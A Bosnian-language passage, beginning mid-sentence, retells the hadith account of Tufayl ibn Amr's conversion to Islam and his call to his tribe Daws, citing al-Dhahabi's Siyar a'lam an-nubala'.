svjetiljke (kandijlja). Onda mi je došao otac, a ja sam mu rekao: “Odbij od mene. Nisam tvoj i ti nisi moj.” Pitao me je: “A što to?” Odgovorio sam: “Primio sam islam i slijedim vjeru Muhammedovu.” Kazao mi je: “Sinko! Moja vjera je tvoja vjera. Takođe tvoje matera.” Zatim su primili islam. Onda sam pozvao Devs u islam, pa su oni odbili i uzoholili se. Potom sam otišao Allahovom poslaniku, s.a.v.s., i ispričao mu da je Devs ogrezao u blud (zinaluk) i kamatu. “Dovi (moli) za njih!”; zamolio sam. Alahu moj, uputi Devs, dovio je Muhammed, s.a.v.s. Nakon toga sam se vratio njima, a Allahov poslanik, s.a.v.s. je učinio Hidžru. Bijah među njima, pozivajući ih u islam sve dok se ne odazva među njima ko se odazva i dok se ne odigraše Bedr, Uhud i Hendek. Poslije sam otišao sa osamdeset ili devedeset pripadnika moje porodice i bijah sa Vjerovjesnikom, s.a.v.s., sve dok se ne oslobodi Mekka… Prenosi je Salih ibn Kejsan od Tufejla ibn Amra, r.a. Bilježi je Zehebi u Sijer ealam en-nubela’ (Ez-Zehebi, Sijer ealam en-nubela’, Muessese Er-Risale, Bejrut, 1985, sv. 1, str. 345).